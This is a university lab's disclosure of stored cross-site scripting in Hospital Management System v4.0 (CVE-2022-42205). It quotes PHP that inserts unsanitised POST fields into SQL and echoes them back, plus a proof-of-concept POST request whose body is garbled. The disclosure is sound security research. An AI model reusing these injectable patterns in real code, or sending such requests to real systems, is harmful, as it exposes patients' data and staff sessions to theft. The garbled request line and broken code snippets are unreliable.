

Systems and Internet Security Lab UIC Computer Science

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Stored Cross Site Scripting Vulnerabilities in Hospital Management System Gurukul v4.0 #2

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Multiple **stored cross site scripting vulnerabilities** are present in <u>Hospital Management System Gurukul v4.0</u> [https://phpgurukul.com/hospital-management-system-in-php/]

In the add-patient.php file, several POST parameters are directly used into the INSERT SQL query without any kind of escaping or sanitization.

```
/* ... */
if(isset($_POST['submit']))
{
    $docid=$_SESSION['id'];
    $patname=$_POST['patname'];
    $patcontact=$_POST['patcontact'];
    $patemail=$_POST['patemail'];
    $gender=$_POST['gender'];
    $pataddress=$_POST['gender'];
    $pataddress=$_POST['pataddress'];
    $patage=$_POST['patage'];
    $medhis=$_POST['medhis'];
    $sql=mysqli_query($con,"insert into tblpatient(Docid,PatientName,PatientContno,PatientEmail,PatientGender,Pativalues('$docid','$patname','$patcontact','$patemail','$gender','$pataddress','$patage','$medhis')");
    /* ... */
```

In the admin/manage-patients.php, doctor/manage-patient.php, doctor/view-patient.php, admin/view-patient.php and view-medhistory.php files, the data that was inserted by the above-mentioned query is retrieved from the database and added to the current page.

```
/* Example from doctor/view-patient.php*/
$vid=$ GET['viewid'];
$ret=mysqli_query($con,"select * from tblpatient where ID='$vid'");
$cnt=1;
while ($row=mysqli fetch array($ret)) {
    echo $row['PatientName'];
    /* ... */
    echo $row['PatientEmail'];
    /* ... */
    echo $row['PatientContno'];
    /* ... */
    echo $row['PatientContno'];
    /* ... */
    echo $row['PatientAdd'];
    /* ... */
    echo $row['PatientGender'];
    /* ... */
    echo $row['PatientMedhis'];
    /* ... */
    echo $row['CreationDate'];
```

The vulnerable parameters through which the attack can be carried out are **patname**, **patemail**, **gender**, **pataddress** and **medhis** POST parameters. The following is one of the possible exploitation using the **medhis POST parameter**.

```
POST /hospitalmanagementsystemproject4/hospital/hms/doctor/add-patient.php HTTP/1.1
Host: localhost
Content-Length: 180
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="105", "Not)A;Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
```

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Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=lrqh66ialqjgfot5rcq90bnvjj Connection: close

 $\verb|pat| name=Name=4\&pat| contact=3124432845\&patemail=Name=3&40mail.com&gender=male&pat| address=3021+Halsted+St&2C+Chicago&pat| address=3021+Halsted+St&2C+Chicago&pa$

An attacker can easily inject malicious Javascript into the database and steal session cookies from users and administrators.

These vulnerabilities were found by Riccardo Nannini using the NAVEX project developed at SISL lab in UIC and have been assigned CVE-2022-42205.

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